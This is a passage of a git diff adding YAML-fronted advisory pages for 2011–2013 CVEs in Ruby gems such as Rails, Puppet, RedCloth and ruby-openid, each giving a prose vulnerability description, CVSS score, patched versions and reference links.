+  - "< 3.0.0"
+  patched_versions:
+  - "~> 2.3.13"
+  - ">= 3.0.10"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2011-2931
+    - http://weblog.rubyonrails.org/2011/8/16/ann-rails-3-1-0-rc6
+    - https://groups.google.com/g/rubyonrails-security/c/K5EwdJt06hI
+    - https://github.com/rails/rails/commit/586a944ddd4d03e66dea1093306147594748037a
+    - https://bugzilla.redhat.com/show_bug.cgi?id=731436
+    - https://github.com/advisories/GHSA-v5jg-558j-q67c
+    - http://lists.fedoraproject.org/pipermail/package-announce/2011-September/065109.html
+    - http://lists.fedoraproject.org/pipermail/package-announce/2011-September/065137.html
+    - http://lists.fedoraproject.org/pipermail/package-announce/2011-September/065212.html
+    - http://www.debian.org/security/2011/dsa-2301
+    - http://www.openwall.com/lists/oss-security/2011/08/17/1
+    - http://www.openwall.com/lists/oss-security/2011/08/19/11
+    - http://www.openwall.com/lists/oss-security/2011/08/20/1
+    - http://www.openwall.com/lists/oss-security/2011/08/22/13
+    - http://www.openwall.com/lists/oss-security/2011/08/22/14
+    - http://www.openwall.com/lists/oss-security/2011/08/22/5
+    - https://web.archive.org/web/20111225083933/http://secunia.com/advisories/45921
+---
diff --git a/advisories/_posts/2017-10-24-CVE-2011-2932.md b/advisories/_posts/2017-10-24-CVE-2011-2932.md
new file mode 100644
index 00000000..a7a58e18
--- /dev/null
+++ b/advisories/_posts/2017-10-24-CVE-2011-2932.md
@@ -0,0 +1,47 @@
+---
+layout: advisory
+title: 'CVE-2011-2932 (activesupport): UTF-8 escaping vulnerability in rails/activesupport'
+comments: false
+categories:
+- activesupport
+- rails
+advisory:
+  gem: activesupport
+  framework: rails
+  cve: 2011-2932
+  ghsa: 9fh3-vh3h-q4g3
+  url: http://weblog.rubyonrails.org/2011/8/16/ann-rails-3-1-0-rc6
+  title: UTF-8 escaping vulnerability in rails/activesupport
+  date: 2017-10-24
+  description: |
+    Cross-site scripting (XSS) vulnerability in
+    activesupport/lib/active_support/core_ext/string/output_safety.rb
+    in Ruby on Rails 2.x before 2.3.13, 3.0.x before 3.0.10, and
+    3.1.x before 3.1.0.rc5 allows remote attackers to inject arbitrary
+    web script or HTML via a malformed Unicode string, related to
+    a "UTF-8 escaping vulnerability."
+  cvss_v2: 4.3
+  patched_versions:
+  - "~> 2.3.13"
+  - "~> 3.0.10"
+  - "~> 3.1.0.rc5"
+  - ">= 3.1.0"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2011-2932
+    - http://weblog.rubyonrails.org/2011/8/16/ann-rails-3-1-0-rc6
+    - https://groups.google.com/g/rubyonrails-security/c/Vr_7WSOrEZU/m/IZ_bc5d00vEJ
+    - https://github.com/rails/rails/commit/bfc432574d0b141fd7fe759edfe9b6771dd306bd
+    - https://bugzilla.redhat.com/show_bug.cgi?id=731435
+    - https://github.com/advisories/GHSA-9fh3-vh3h-q4g3
+    - http://lists.fedoraproject.org/pipermail/package-announce/2011-September/065114.html
+    - http://lists.fedoraproject.org/pipermail/package-announce/2011-September/065189.html
+    - http://lists.fedoraproject.org/pipermail/package-announce/2011-September/065212.html
+    - http://www.openwall.com/lists/oss-security/2011/08/17/1
+    - http://www.openwall.com/lists/oss-security/2011/08/19/11
+    - http://www.openwall.com/lists/oss-security/2011/08/20/1
+    - http://www.openwall.com/lists/oss-security/2011/08/22/13
+    - http://www.openwall.com/lists/oss-security/2011/08/22/14
+    - http://www.openwall.com/lists/oss-security/2011/08/22/5
+    - https://web.archive.org/web/20111225083933/http://secunia.com/advisories/45917
+---
diff --git a/advisories/_posts/2017-10-24-CVE-2011-3187.md b/advisories/_posts/2017-10-24-CVE-2011-3187.md
new file mode 100644
index 00000000..181657f8
--- /dev/null
+++ b/advisories/_posts/2017-10-24-CVE-2011-3187.md
@@ -0,0 +1,41 @@
+---
+layout: advisory
+title: 'CVE-2011-3187 (actionpack): Ruby on rails 3.0.5 Remote_IP.rb Input Validation
+  in rails/actionpack'
+comments: false
+categories:
+- actionpack
+- rails
+advisory:
+  gem: actionpack
+  framework: rails
+  cve: 2011-3187
+  ghsa: 3vfw-7rcp-3xgm
+  url: http://webservsec.blogspot.com/2011/02/ruby-on-rails-vulnerability.html
+  title: Ruby on rails 3.0.5 Remote_IP.rb Input Validation in rails/actionpack
+  date: 2017-10-24
+  description: |
+    The to_s method in actionpack/lib/action_dispatch/middleware/remote_ip.rb
+    in Ruby on Rails 3.0.5 does not validate the X-Forwarded-For header
+    in requests from IP addresses on a Class C network, which might allow
+    remote attackers to inject arbitrary text into log files or bypass
+    intended address parsing via a crafted header.
+  cvss_v2: 4.3
+  unaffected_versions:
+  - "< 2.3.0"
+  patched_versions:
+  - ">= 2.3.13"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2011-3187
+    - http://webservsec.blogspot.com/2011/02/ruby-on-rails-vulnerability.html
+    - https://github.com/advisories/GHSA-3vfw-7rcp-3xgm
+    - https://www.rapid7.com/db/vulnerabilities/ruby_on_rails-cve-2011-3187
+    - http://www.openwall.com/lists/oss-security/2011/08/17/1
+    - http://www.openwall.com/lists/oss-security/2011/08/19/11
+    - http://www.openwall.com/lists/oss-security/2011/08/20/1
+    - http://www.openwall.com/lists/oss-security/2011/08/22/13
+    - http://www.openwall.com/lists/oss-security/2011/08/22/14
+    - http://www.openwall.com/lists/oss-security/2011/08/22/5
+    - https://web.archive.org/web/20111209181000/http://archives.neohapsis.com/archives/fulldisclosure/2011-02/0337.html
+---
diff --git a/advisories/_posts/2017-10-24-CVE-2011-4319.md b/advisories/_posts/2017-10-24-CVE-2011-4319.md
new file mode 100644
index 00000000..9381c5fb
--- /dev/null
+++ b/advisories/_posts/2017-10-24-CVE-2011-4319.md
@@ -0,0 +1,51 @@
+---
+layout: advisory
+title: 'CVE-2011-4319 (actionpack): Cross-site Scripting vulnerability in i18n translations
+  helper method'
+comments: false
+categories:
+- actionpack
+- rails
+advisory:
+  gem: actionpack
+  framework: rails
+  cve: 2011-4319
+  osvdb: 77199
+  ghsa: xxr8-833v-c7wc
+  url: http://weblog.rubyonrails.org/2011/11/18/rails-3-0-11-has-been-released
+  title: Cross-site Scripting vulnerability in i18n translations helper method
+  date: 2017-10-24
+  description: |
+    A cross-site scripting (XSS) flaw was found in the way the 'translate' helper
+    method of the Ruby on Rails performed HTML escaping of interpolated user
+    input, when interpolation in combination with HTML-safe translations were
+    used. A remote attacker could use this flaw to execute arbitrary HTML or web
+    script by providing a specially-crafted input to Ruby on Rails application,
+    using the ActionPack module and its 'translate' helper method without explicit
+    (application specific) sanitization of user provided input.
+
+    Cross-site scripting (XSS) vulnerability in the i18n translations helper
+    method in Ruby on Rails 3.0.x before 3.0.11 and 3.1.x before 3.1.2,
+    and the rails_xss plugin in Ruby on Rails 2.3.x, allows remote
+    attackers to inject arbitrary web script or HTML via vectors related
+    to a translations string whose name ends with an "html" substring.
+  cvss_v2: 4.3
+  unaffected_versions:
+  - "< 3.0.0"
+  patched_versions:
+  - "~> 3.0.11"
+  - ">= 3.1.2"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2011-4319
+    - http://weblog.rubyonrails.org/2011/11/18/rails-3-0-11-has-been-released
+    - http://weblog.rubyonrails.org/2011/11/18/rails-3-1-2-has-been-released
+    - https://groups.google.com/g/rubyonrails-security/c/K2HXD7c8fMU
+    - https://groups.google.com/g/rubyonrails-security/c/K2HXD7c8fMU/m/gt22xPskXMYJ
+    - https://github.com/advisories/GHSA-xxr8-833v-c7wc
+    - http://osvdb.org/77199
+    - https://exchange.xforce.ibmcloud.com/vulnerabilities/71364
+    - http://openwall.com/lists/oss-security/2011/11/18/8
+    - https://web.archive.org/web/20210121211512/http://www.securityfocus.com/bid/50722
+    - https://web.archive.org/web/20201208053819/http://www.securitytracker.com/id?1026342
+---
diff --git a/advisories/_posts/2017-10-24-CVE-2012-1989.md b/advisories/_posts/2017-10-24-CVE-2012-1989.md
new file mode 100644
index 00000000..5b190523
--- /dev/null
+++ b/advisories/_posts/2017-10-24-CVE-2012-1989.md
@@ -0,0 +1,38 @@
+---
+layout: advisory
+title: 'CVE-2012-1989 (puppet): Arbitrary File Write Access in Puppet'
+comments: false
+categories:
+- puppet
+advisory:
+  gem: puppet
+  cve: 2012-1989
+  ghsa: c5qq-g673-5p49
+  url: https://www.puppet.com/security/cve/cve-2012-1989-arbitrary-file-write-access
+  title: Arbitrary File Write Access in Puppet
+  date: 2017-10-24
+  description: |
+    telnet.rb in Puppet 2.7.x before 2.7.13 and Puppet Enterprise
+    (PE) 1.2.x, 2.0.x, and 2.5.x before 2.5.1 allows local users
+    to overwrite arbitrary files via a symlink attack on the
+    NET::Telnet connection log (/tmp/out.log).
+  cvss_v2: 3.6
+  unaffected_versions:
+  - "< 2.7.1"
+  patched_versions:
+  - "~> 2.5.1"
+  - ">= 2.7.13"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2012-1989
+    - https://www.puppet.com/security/cve/cve-2012-1989-arbitrary-file-write-access
+    - https://github.com/advisories/GHSA-c5qq-g673-5p49
+    - https://exchange.xforce.ibmcloud.com/vulnerabilities/74797
+    - https://security.gentoo.org/glsa/201208-02
+    - http://ubuntu.com/usn/usn-1419-1
+    - http://lists.opensuse.org/opensuse-updates/2012-05/msg00012.html
+    - https://web.archive.org/web/20210121211512/http://www.securityfocus.com/bid/52975
+    - https://web.archive.org/web/20111225083933/http://secunia.com/advisories/49136
+    - https://web.archive.org/web/20111225083933/http://secunia.com/advisories/48748
+    - https://web.archive.org/web/20121025194938/http://secunia.com/advisories/48743
+---
diff --git a/advisories/_posts/2017-10-24-CVE-2012-2660.md b/advisories/_posts/2017-10-24-CVE-2012-2660.md
new file mode 100644
index 00000000..2163ab44
--- /dev/null
+++ b/advisories/_posts/2017-10-24-CVE-2012-2660.md
@@ -0,0 +1,40 @@
+---
+layout: advisory
+title: 'CVE-2012-2660 (actionpack): Unsafe Query Generation Risk in Ruby on Rails'
+comments: false
+categories:
+- actionpack
+- rails
+advisory:
+  gem: actionpack
+  framework: rails
+  cve: 2012-2660
+  ghsa: hgpp-pp89-4fgf
+  url: https://groups.google.com/g/rubyonrails-security/c/8SA-M3as7A8/m/Mr9fi9X4kNgJ
+  title: Unsafe Query Generation Risk in Ruby on Rails
+  date: 2017-10-24
+  description: |
+    actionpack/lib/action_dispatch/http/request.rb in Ruby on Rails
+    before 3.0.13, 3.1.x before 3.1.5, and 3.2.x before 3.2.4 does not
+    properly consider differences in parameter handling between the
+    Active Record component and the Rack interface, which allows remote
+    attackers to bypass intended database-query restrictions and perform
+    NULL checks via a crafted request, as demonstrated by certain
+    "[nil]" values, a related issue to CVE-2012-2694.
+  cvss_v2: 6.4
+  patched_versions:
+  - "~> 3.0.13"
+  - "~> 3.1.5"
+  - ">= 3.2.4"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2012-2660
+    - https://groups.google.com/g/rubyonrails-security/c/8SA-M3as7A8/m/Mr9fi9X4kNgJ
+    - https://github.com/advisories/GHSA-hgpp-pp89-4fgf
+    - http://rhn.redhat.com/errata/RHSA-2013-0154.html
+    - http://lists.opensuse.org/opensuse-security-announce/2012-08/msg00002.html
+    - http://lists.opensuse.org/opensuse-security-announce/2012-08/msg00014.html
+    - http://lists.opensuse.org/opensuse-security-announce/2012-08/msg00016.html
+    - http://lists.opensuse.org/opensuse-security-announce/2012-08/msg00017.html
+    - http://lists.opensuse.org/opensuse-updates/2012-08/msg00046.html
+---
diff --git a/advisories/_posts/2017-10-24-CVE-2012-2694.md b/advisories/_posts/2017-10-24-CVE-2012-2694.md
new file mode 100644
index 00000000..2b1fab04
--- /dev/null
+++ b/advisories/_posts/2017-10-24-CVE-2012-2694.md
@@ -0,0 +1,40 @@
+---
+layout: advisory
+title: 'CVE-2012-2694 (actionpack): Unsafe Query Generation Risk in Ruby on Rails'
+comments: false
+categories:
+- actionpack
+- rails
+advisory:
+  gem: actionpack
+  framework: rails
+  cve: 2012-2694
+  ghsa: q34c-48gc-m9g8
+  url: https://groups.google.com/g/rubyonrails-security/c/jILZ34tAHF4/m/7x0hLH-o0-IJ
+  title: Unsafe Query Generation Risk in Ruby on Rails
+  date: 2017-10-24
+  description: |
+    actionpack/lib/action_dispatch/http/request.rb in Ruby on Rails
+    before 3.0.14, 3.1.x before 3.1.6, and 3.2.x before 3.2.6 does not
+    properly consider differences in parameter handling between the
+    Active Record component and the Rack interface, which allows remote
+    attackers to bypass intended database-query restrictions and perform
+    NULL checks via a crafted request, as demonstrated by certain
+    "['xyz', nil]" values, a related issue to CVE-2012-2660.
+  cvss_v2: 4.3
+  patched_versions:
+  - "~> 3.0.14"
+  - "~> 3.1.6"
+  - ">= 3.2.6"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2012-2694
+    - https://groups.google.com/g/rubyonrails-security/c/jILZ34tAHF4/m/7x0hLH-o0-IJ
+    - https://github.com/advisories/GHSA-q34c-48gc-m9g8
+    - http://lists.opensuse.org/opensuse-security-announce/2012-08/msg00002.html
+    - http://lists.opensuse.org/opensuse-security-announce/2012-08/msg00014.html
+    - http://lists.opensuse.org/opensuse-security-announce/2012-08/msg00016.html
+    - http://lists.opensuse.org/opensuse-security-announce/2012-08/msg00017.html
+    - http://lists.opensuse.org/opensuse-updates/2012-08/msg00046.html
+    - http://rhn.redhat.com/errata/RHSA-2013-0154.html
+---
diff --git a/advisories/_posts/2017-10-24-CVE-2012-2695.md b/advisories/_posts/2017-10-24-CVE-2012-2695.md
new file mode 100644
index 00000000..e5445cd4
--- /dev/null
+++ b/advisories/_posts/2017-10-24-CVE-2012-2695.md
@@ -0,0 +1,38 @@
+---
+layout: advisory
+title: 'CVE-2012-2695 (activerecord): SQL Injection Vulnerability in Ruby on Rails'
+comments: false
+categories:
+- activerecord
+- rails
+advisory:
+  gem: activerecord
+  framework: rails
+  cve: 2012-2695
+  ghsa: 76wq-xw4h-f8wj
+  url: https://groups.google.com/g/rubyonrails-security/c/l4L0TEVAz1k/m/Vr84sD9B464J
+  title: SQL Injection Vulnerability in Ruby on Rails
+  date: 2017-10-24
+  description: |
+    The Active Record component in Ruby on Rails before 3.0.14, 3.1.x
+    before 3.1.6, and 3.2.x before 3.2.6 does not properly implement
+    the passing of request data to a where method in an ActiveRecord
+    class, which allows remote attackers to conduct certain SQL
+    injection attacks via nested query parameters that leverage
+    improper handling of nested hashes, a related issue to CVE-2012-2661.
+  cvss_v2: 7.5
+  patched_versions:
+  - "~> 3.0.14"
+  - "~> 3.1.6"
+  - ">= 3.2.6"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2012-2695
+    - https://groups.google.com/g/rubyonrails-security/c/l4L0TEVAz1k/m/Vr84sD9B464J
+    - https://github.com/advisories/GHSA-76wq-xw4h-f8wj
+    - http://lists.opensuse.org/opensuse-security-announce/2012-08/msg00002.html
+    - http://lists.opensuse.org/opensuse-security-announce/2012-08/msg00014.html
+    - http://lists.opensuse.org/opensuse-security-announce/2012-08/msg00016.html
+    - http://lists.opensuse.org/opensuse-updates/2012-08/msg00046.html
+    - http://rhn.redhat.com/errata/RHSA-2013-0154.html
+---
diff --git a/advisories/_posts/2017-10-24-CVE-2012-3408.md b/advisories/_posts/2017-10-24-CVE-2012-3408.md
new file mode 100644
index 00000000..b16e0efa
--- /dev/null
+++ b/advisories/_posts/2017-10-24-CVE-2012-3408.md
@@ -0,0 +1,30 @@
+---
+layout: advisory
+title: 'CVE-2012-3408 (puppet): Agent Imprersonation in Puppet'
+comments: false
+categories:
+- puppet
+advisory:
+  gem: puppet
+  cve: 2012-3408
+  ghsa: vxf6-w9mp-95hm
+  url: https://www.puppet.com/security/cve/cve-2012-3408-agent-impersonation
+  title: Agent Imprersonation in Puppet
+  date: 2017-10-24
+  description: |
+    lib/puppet/network/authstore.rb in Puppet before 2.7.18, and
+    Puppet Enterprise before 2.5.2, supports use of IP addresses in
+    certnames without warning of potential risks, which might allow
+    remote attackers to spoof an agent by acquiring a previously
+    used IP address.
+  cvss_v2: 2.6
+  patched_versions:
+  - ">= 2.7.18"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2012-3408
+    - https://www.puppet.com/security/cve/cve-2012-3408-agent-impersonation
+    - https://github.com/puppetlabs/puppet/commit/ab9150baa1b738467a33b01df1d90e076253fbbd
+    - https://github.com/advisories/GHSA-vxf6-w9mp-95hm
+    - https://bugzilla.redhat.com/show_bug.cgi?id=839166
+---
diff --git a/advisories/_posts/2017-10-24-CVE-2012-3865.md b/advisories/_posts/2017-10-24-CVE-2012-3865.md
new file mode 100644
index 00000000..3e3bb8e9
--- /dev/null
+++ b/advisories/_posts/2017-10-24-CVE-2012-3865.md
@@ -0,0 +1,35 @@
+---
+layout: advisory
+title: 'CVE-2012-3865 (puppet): Arbitrary file delete/D.O.S on Puppet Master'
+comments: false
+categories:
+- puppet
+advisory:
+  gem: puppet
+  cve: 2012-3865
+  ghsa: g89m-3wjw-h857
+  url: https://www.puppet.com/security/cve/overview-cve-2012-3865-arbitrary-file-delete/dos-puppet-master
+  title: Arbitrary file delete/D.O.S on Puppet Master
+  date: 2017-10-24
+  description: |
+    Directory traversal vulnerability in lib/puppet/reports/store.rb
+    in Puppet before 2.6.17 and 2.7.x before 2.7.18, and Puppet
+    Enterprise before 2.5.2, when Delete is enabled in auth.conf,
+    allows remote authenticated users to delete arbitrary files on
+    the puppet master server via a .. (dot dot) in a node name.
+  cvss_v2: 3.5
+  patched_versions:
+  - "~> 2.6.17"
+  - ">= 2.7.18"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2012-3865
+    - https://www.puppet.com/security/cve/overview-cve-2012-3865-arbitrary-file-delete/dos-puppet-master
+    - https://github.com/puppetlabs/puppet/commit/554eefc55f57ed2b76e5ee04d8f194d36f6ee67f
+    - https://github.com/puppetlabs/puppet/commit/d80478208d79a3e6d6cb1fbc525e24817fe8c4c6
+    - https://github.com/advisories/GHSA-g89m-3wjw-h857
+    - https://bugzilla.redhat.com/show_bug.cgi?id=839131
+    - http://lists.opensuse.org/opensuse-security-announce/2012-08/msg00006.html
+    - http://www.debian.org/security/2012/dsa-2511
+    - http://www.ubuntu.com/usn/USN-1506-1
+---
diff --git a/advisories/_posts/2017-10-24-CVE-2012-3866.md b/advisories/_posts/2017-10-24-CVE-2012-3866.md
new file mode 100644
index 00000000..edd2ac58
--- /dev/null
+++ b/advisories/_posts/2017-10-24-CVE-2012-3866.md
@@ -0,0 +1,33 @@
+---
+layout: advisory
+title: 'CVE-2012-3866 (puppet): last_run_report.yaml is world readable'
+comments: false
+categories:
+- puppet
+advisory:
+  gem: puppet
+  cve: 2012-3866
+  ghsa: 8jxj-9r5f-w3m2
+  url: https://www.puppet.com/security/cve/cve-2012-3866-lastrunreportyaml-world-readable
+  title: last_run_report.yaml is world readable
+  date: 2017-10-24
+  description: |
+    lib/puppet/defaults.rb in Puppet 2.7.x before 2.7.18, and Puppet
+    Enterprise before 2.5.2, uses 0644 permissions for last_run_report.yaml,
+    which allows local users to obtain sensitive configuration information
+    by leveraging access to the puppet master server to read this file.
+  unaffected_versions:
+  - "< 2.7.0"
+  patched_versions:
+  - ">= 2.7.18"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2012-3866
+    - https://www.puppet.com/security/cve/cve-2012-3866-lastrunreportyaml-world-readable
+    - https://github.com/puppetlabs/puppet/commit/fd44bf5e6d0d360f6a493d663b653c121fa83c3f
+    - https://github.com/advisories/GHSA-8jxj-9r5f-w3m2
+    - https://bugzilla.redhat.com/show_bug.cgi?id=839135
+    - http://lists.opensuse.org/opensuse-updates/2012-07/msg00036.html
+    - http://www.debian.org/security/2012/dsa-2511
+    - http://www.ubuntu.com/usn/USN-1506-1
+---
diff --git a/advisories/_posts/2017-10-24-CVE-2012-3867.md b/advisories/_posts/2017-10-24-CVE-2012-3867.md
new file mode 100644
index 00000000..6fecc12f
--- /dev/null
+++ b/advisories/_posts/2017-10-24-CVE-2012-3867.md
@@ -0,0 +1,37 @@
+---
+layout: advisory
+title: 'CVE-2012-3867 (puppet): Insufficient input validation'
+comments: false
+categories:
+- puppet
+advisory:
+  gem: puppet
+  cve: 2012-3867
+  ghsa: q44r-f2hm-v76v
+  url: https://www.puppet.com/security/cve/cve-2012-3867-insufficient-input-validation
+  title: Insufficient input validation
+  date: 2017-10-24
+  description: |
+    lib/puppet/ssl/certificate_authority.rb in Puppet before 2.6.17 and
+    2.7.x before 2.7.18, and Puppet Enterprise before 2.5.2, does not
+    properly restrict the characters in the Common Name field of a
+    Certificate Signing Request (CSR), which makes it easier for
+    user-assisted remote attackers to trick administrators into
+    signing a crafted agent certificate via ANSI control sequences.
+  cvss_v2: 4.3
+  patched_versions:
+  - "~> 2.6.17"
+  - ">= 2.7.18"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2012-3867
+    - https://www.puppet.com/security/cve/cve-2012-3867-insufficient-input-validation
+    - https://github.com/puppetlabs/puppet/commit/dfedaa5fa841ccf335245a748b347b7c7c236640
+    - https://github.com/puppetlabs/puppet/commit/f3419620b42080dad3b0be14470b20a972f13c50
+    - https://github.com/advisories/GHSA-q44r-f2hm-v76v
+    - https://bugzilla.redhat.com/show_bug.cgi?id=839158
+    - http://lists.opensuse.org/opensuse-security-announce/2012-08/msg00006.html
+    - http://lists.opensuse.org/opensuse-updates/2012-07/msg00036.html
+    - http://www.debian.org/security/2012/dsa-2511
+    - http://www.ubuntu.com/usn/USN-1506-1
+---
diff --git a/advisories/_posts/2017-10-24-CVE-2012-6662.md b/advisories/_posts/2017-10-24-CVE-2012-6662.md
new file mode 100644
index 00000000..a0d94223
--- /dev/null
+++ b/advisories/_posts/2017-10-24-CVE-2012-6662.md
@@ -0,0 +1,40 @@
+---
+layout: advisory
+title: 'CVE-2012-6662 (jquery-ui-rails): Moderate severity vulnerability that affects
+  jquery-ui'
+comments: false
+categories:
+- jquery-ui-rails
+advisory:
+  gem: jquery-ui-rails
+  cve: 2012-6662
+  ghsa: qqxp-xp9v-vvx6
+  url: https://nvd.nist.gov/vuln/detail/CVE-2012-6662
+  title: Moderate severity vulnerability that affects jquery-ui
+  date: 2017-10-24
+  description: |
+    Cross-site scripting (XSS) vulnerability in the default content option
+    in jquery.ui.tooltip.js in the Tooltip widget in jQuery UI before
+    1.10.0 allows remote attackers to inject arbitrary web script or
+    HTML via the title attribute, which is not properly handled in the
+    autocomplete combo box demo.
+  cvss_v2: 4.3
+  patched_versions:
+  - ">= 4.0.0"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2012-6662
+    - https://github.com/jquery-ui-rails/jquery-ui-rails/commit/61a8e3f50796118e9f49fbd224b67d4065b40c50
+    - https://github.com/jquery/jquery-ui/commit/f2854408cce7e4b7fc6bf8676761904af9c96bde
+    - https://github.com/jquery/jquery-ui/commit/5fee6fd5000072ff32f2d65b6451f39af9e0e39e
+    - http://bugs.jqueryui.com/ticket/8859
+    - http://bugs.jqueryui.com/ticket/8861
+    - https://github.com/jquery/jquery/issues/2432
+    - https://exchange.xforce.ibmcloud.com/vulnerabilities/98697
+    - http://rhn.redhat.com/errata/RHSA-2015-0442.html
+    - http://rhn.redhat.com/errata/RHSA-2015-1462.html
+    - http://seclists.org/oss-sec/2014/q4/613
+    - http://seclists.org/oss-sec/2014/q4/616
+    - http://www.securityfocus.com/bid/71107
+    - https://github.com/advisories/GHSA-qqxp-xp9v-vvx6
+---
diff --git a/advisories/_posts/2017-10-24-CVE-2012-6684.md b/advisories/_posts/2017-10-24-CVE-2012-6684.md
new file mode 100644
index 00000000..e7aa860b
--- /dev/null
+++ b/advisories/_posts/2017-10-24-CVE-2012-6684.md
@@ -0,0 +1,30 @@
+---
+layout: advisory
+title: 'CVE-2012-6684 (redcloth): RedCloth Cross-site Scripting vulnerability'
+comments: false
+categories:
+- redcloth
+advisory:
+  gem: redcloth
+  cve: 2012-6684
+  ghsa: r23g-3qw4-gfh2
+  url: http://co3k.org/blog/redcloth-unfixed-xss-en
+  title: RedCloth Cross-site Scripting vulnerability
+  date: 2017-10-24
+  description: Cross-site scripting (XSS) vulnerability in the RedCloth library 4.2.9
+    for Ruby and earlier allows remote attackers to inject arbitrary web script or
+    HTML via a "javascript:" URI.
+  cvss_v2: 4.3
+  patched_versions:
+  - ">= 4.3.0"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2012-6684
+    - http://co3k.org/blog/redcloth-unfixed-xss-en
+    - https://gist.github.com/co3k/75b3cb416c342aa1414c
+    - https://github.com/jgarber/redcloth/commit/b24f03db023d1653d60dd33b28e09317cd77c6a0
+    - https://github.com/advisories/GHSA-r23g-3qw4-gfh2
+    - http://seclists.org/fulldisclosure/2014/Dec/50
+    - http://www.debian.org/security/2015/dsa-3168
+    - https://web.archive.org/web/20150128115714/http://jgarber.lighthouseapp.com/projects/13054-redcloth/tickets/243-xss
+---
diff --git a/advisories/_posts/2017-10-24-CVE-2013-1655.md b/advisories/_posts/2017-10-24-CVE-2013-1655.md
new file mode 100644
index 00000000..dc4acf7c
--- /dev/null
+++ b/advisories/_posts/2017-10-24-CVE-2013-1655.md
@@ -0,0 +1,35 @@
+---
+layout: advisory
+title: 'CVE-2013-1655 (puppet): Unauthenticated Remote Code Execution Vulnerability'
+comments: false
+categories:
+- puppet
+advisory:
+  gem: puppet
+  cve: 2013-1655
+  ghsa: 574q-fxfj-wv6h
+  url: https://www.puppet.com/security/cve/cve-2013-1655-unauthenticated-remote-code-execution-vulnerability
+  title: Unauthenticated Remote Code Execution Vulnerability
+  date: 2017-10-24
+  description: |
+    Puppet 2.7.x before 2.7.21 and 3.1.x before 3.1.1, when running
+    Ruby 1.9.3 or later, allows remote attackers to execute arbitrary
+    code via vectors related to "serialized attributes."
+  cvss_v2: 7.5
+  unaffected_versions:
+  - "< 2.7.0"
+  patched_versions:
+  - "~> 2.7.21"
+  - ">= 3.1.1"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2013-1655
+    - https://www.puppet.com/security/cve/cve-2013-1655-unauthenticated-remote-code-execution-vulnerability
+    - https://github.com/advisories/GHSA-574q-fxfj-wv6h
+    - http://lists.opensuse.org/opensuse-security-announce/2013-04/msg00004.html
+    - http://lists.opensuse.org/opensuse-updates/2013-04/msg00056.html
+    - http://ubuntu.com/usn/usn-1759-1
+    - http://www.debian.org/security/2013/dsa-2643
+    - https://www.rapid7.com/db/vulnerabilities/gentoo-linux-cve-2013-1655
+    - https://web.archive.org/web/20210509162357/https://www.securityfocus.com/bid/46291
+---
diff --git a/advisories/_posts/2017-10-24-CVE-2013-1812.md b/advisories/_posts/2017-10-24-CVE-2013-1812.md
new file mode 100644
index 00000000..d51fd7ec
--- /dev/null
+++ b/advisories/_posts/2017-10-24-CVE-2013-1812.md
@@ -0,0 +1,33 @@
+---
+layout: advisory
+title: 'CVE-2013-1812 (ruby-openid): Vulnerable to XIE DoS attacks'
+comments: false
+categories:
+- ruby-openid
+advisory:
+  gem: ruby-openid
+  cve: 2013-1812
+  ghsa: 6c8p-qphv-668v
+  url: https://github.com/openid/ruby-openid/blob/master/CHANGELOG.md
+  title: Vulnerable to XIE DoS attacks
+  date: 2017-10-24
+  description: |
+    The ruby-openid gem before 2.2.2 for Ruby allows remote OpenID
+    providers to cause a denial of service (CPU consumption) via
+    (1) a large XRDS document or
+    (2) an XML Entity Expansion (XEE) attack.
+  cvss_v2: 4.3
+  patched_versions:
+  - ">= 2.2.2"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2013-1812
+    - https://github.com/openid/ruby-openid/blob/master/CHANGELOG.md
+    - https://github.com/openid/ruby-openid/pull/43
+    - https://github.com/openid/ruby-openid/commit/a3693cef06049563f5b4e4824f4d3211288508ed
+    - https://github.com/advisories/GHSA-6c8p-qphv-668v
+    - https://bugzilla.redhat.com/show_bug.cgi?id=918134
+    - http://lists.fedoraproject.org/pipermail/package-announce/2013-November/120204.html
+    - http://lists.fedoraproject.org/pipermail/package-announce/2013-November/120361.html
+    - http://www.openwall.com/lists/oss-security/2013/03/03/8
+---
diff --git a/advisories/_posts/2017-10-24-CVE-2013-3567.md b/advisories/_posts/2017-10-24-CVE-2013-3567.md
new file mode 100644
index 00000000..49cc4db1
--- /dev/null
+++ b/advisories/_posts/2017-10-24-CVE-2013-3567.md
@@ -0,0 +1,34 @@
+---
+layout: advisory
+title: 'CVE-2013-3567 (puppet): Unauthenticated Remote Code Execution Vulnerability'
+comments: false
+categories:
+- puppet
+advisory:
+  gem: puppet
+  cve: 2013-3567
+  ghsa: f7p5-w2cr-7cp7
+  url: https://www.puppet.com/security/cve/cve-2013-3567-unauthenticated-remote-code-execution-vulnerability
+  title: Unauthenticated Remote Code Execution Vulnerability
+  date: 2017-10-24
+  description: |
+    Puppet 2.7.x before 2.7.22 and 3.2.x before 3.2.2, and Puppet
+    Enterprise before 2.8.2, deserializes untrusted YAML, which allows
+    remote attackers to instantiate arbitrary Ruby classes and execute
+    arbitrary code via a crafted REST API call.
+  cvss_v2: 7.5
+  patched_versions:
+  - "~> 2.7.22"
+  - ">= 3.2.2"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2013-3567
+    - https://www.puppet.com/security/cve/cve-2013-3567-unauthenticated-remote-code-execution-vulnerability
+    - https://github.com/advisories/GHSA-f7p5-w2cr-7cp7
+    - http://lists.opensuse.org/opensuse-security-announce/2013-08/msg00002.html
+    - http://lists.opensuse.org/opensuse-security-announce/2013-08/msg00019.html
